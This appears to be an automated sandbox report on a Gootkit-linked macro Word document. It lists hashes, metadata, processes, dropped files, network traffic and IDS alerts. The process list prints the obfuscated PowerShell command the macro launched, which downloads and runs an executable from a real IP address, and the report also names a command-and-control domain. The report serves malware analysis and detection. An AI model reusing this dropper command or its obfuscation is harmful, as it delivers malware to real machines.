File name: | 22779479194409d220bf6720bab8db7cba74c90df663c0e9c52866dfdf0b0dc3 |
Full analysis: | https://app.any.run/tasks/663d88a7-e2e5-414a-a441-f9cd301d559f |
Verdict: | Malicious activity |
Threats: | Gootkit is an advanced banking trojan. It is extremely good at evading detection and has an incredibly effective persistence mechanism, making it a dangerous malware that researchers and organizations should be aware of. |
Analysis date: | December 06, 2018, 09:20:40 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
File info: | Microsoft Word 2007+ |
MD5: | 35C26C71561413B090F353F9A099B6C9 |
SHA1: | B1B44FAFCDE5DC74ECF17C4D03B444B476CF4279 |
SHA256: | 22779479194409D220BF6720BAB8DB7CBA74C90DF663C0E9C52866DFDF0B0DC3 |
SSDEEP: | 1536:P8GGYWX+7f7kUrgDuz4O4wDAVN4Q04y/zx:P8GHLTgugDuMOlIy/zx |
.docm | | | Word Microsoft Office Open XML Format document (with Macro) (53.6) |
---|---|---|
.docx | | | Word Microsoft Office Open XML Format document (24.2) |
.zip | | | Open Packaging Conventions container (18) |
.zip | | | ZIP compressed archive (4.1) |
Creator: | - |
---|---|
Subject: | - |
Title: | - |
ModifyDate: | 2018:11:29 14:15:00Z |
---|---|
CreateDate: | 2018:11:29 14:15:00Z |
RevisionNumber: | 2 |
LastModifiedBy: | Admin |
Keywords: | - |
AppVersion: | 16 |
HyperlinksChanged: | No |
SharedDoc: | No |
CharactersWithSpaces: | 1 |
LinksUpToDate: | No |
Company: | Salve |
TitlesOfParts: | - |
HeadingPairs: |
|
ScaleCrop: | No |
Paragraphs: | - |
Lines: | 10 |
DocSecurity: | None |
Application: | Microsoft Office Word |
Characters: | - |
Words: | - |
Pages: | 1 |
TotalEditTime: | - |
Template: | Normal |
ZipFileName: | [Content_Types].xml |
---|---|
ZipUncompressedSize: | 1555 |
ZipCompressedSize: | 408 |
ZipCRC: | 0x44937089 |
ZipModifyDate: | 1980:01:01 00:00:00 |
ZipCompression: | Deflated |
ZipBitFlag: | 0x0006 |
ZipRequiredVersion: | 20 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2992 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\22779479194409d220bf6720bab8db7cba74c90df663c0e9c52866dfdf0b0dc3.docm" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 Modules
| |||||||||||||||
2244 | powershell $path = 'cWojwfsm41:\winWojwfsm41dows\teWojwfsm41mp\p.eWojwfsm41xe' -replace 'Wojwfsm41', '';iex('$wc = new-obWojwfsm41ject neWojwfsm41t.webWojwfsm41client; $wc.dowWojwfsm41nloWojwfsm41adfilWojwfsm41e(\"hWojwfsm41tWojwfsm41tWojwfsm41p://209.141.33.154/luiluiluiluilui/lucky.exe\", $path)' -replace 'Wojwfsm41', '');iex('staWojwfsm41rt-proWojwfsm41cesWojwfsm41s $path' -replace 'Wojwfsm41', ''); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
3920 | "C:\windows\temp\p.exe" | C:\windows\temp\p.exe | powershell.exe | ||||||||||||
User: admin Company: PowerPlan Would Integrity Level: MEDIUM Description: Resultparent Version: 15.1.72.89 Modules
| |||||||||||||||
3872 | C:\windows\temp\p.exe --vwxyz | C:\windows\temp\p.exe | p.exe | ||||||||||||
User: admin Company: PowerPlan Would Integrity Level: MEDIUM Description: Resultparent Version: 15.1.72.89 Modules
|
PID | Process | Filename | Type | |
---|---|---|---|---|
2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8989.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2244 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S89LJ9J30BXP6RCJDLN7.temp | — | |
MD5:— | SHA256:— | |||
2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$779479194409d220bf6720bab8db7cba74c90df663c0e9c52866dfdf0b0dc3.docm | pgc | |
MD5:FD0543B0AFFA210B7FBF901895D3A4CC | SHA256:996CC389C4C746CD4494EABECCFA0CC0F0D3047735526E417D3A70CFA06B9D41 | |||
2244 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19961c.TMP | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
2244 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
2244 | powershell.exe | C:\windows\temp\p.exe | executable | |
MD5:F46A9928ABD21528AB74A09ED15F1268 | SHA256:9D2781ADB81B95CFECE08A372FC7407DBD6F5C822F8104A630BE815B2DEE211A | |||
2992 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:F10E8AA041A36F89F2A7C02AE8B05C68 | SHA256:7141FE29A39D44B1C15447FF3B5C4F539D4BF3104A11382AD17B1FC304F6114C | |||
2992 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:D559F69A25E8CC3C5D2956DE64CD9EEC | SHA256:1D00FA7C8B4BE10D5B330E2AC9845CA18FAAFD9464B014F6753AA14D825C043F | |||
3920 | p.exe | C:\windows\temp\p.inf | ini | |
MD5:EE4E2433C4FEA59504BC7FBF0CC4EB9D | SHA256:76D7671BCEF5C8B67C6A8ACE3F19D4FB6F550A86DFAC8BD7E50021F7898B897D |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2244 | powershell.exe | GET | 200 | 209.141.33.154:80 | http://209.141.33.154/luiluiluiluilui/lucky.exe | US | executable | 346 Kb | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2244 | powershell.exe | 209.141.33.154:80 | — | FranTech Solutions | US | suspicious |
3872 | p.exe | 31.210.170.132:443 | wodjfdhhen1ndhd.online | LLC Gigabit | RU | unknown |
Domain | IP | Reputation |
---|---|---|
wodjfdhhen1ndhd.online |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
2244 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2244 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2244 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2244 | powershell.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
Process | Message |
---|---|
p.exe | MP3 file corrupted |
p.exe | WMA 0 |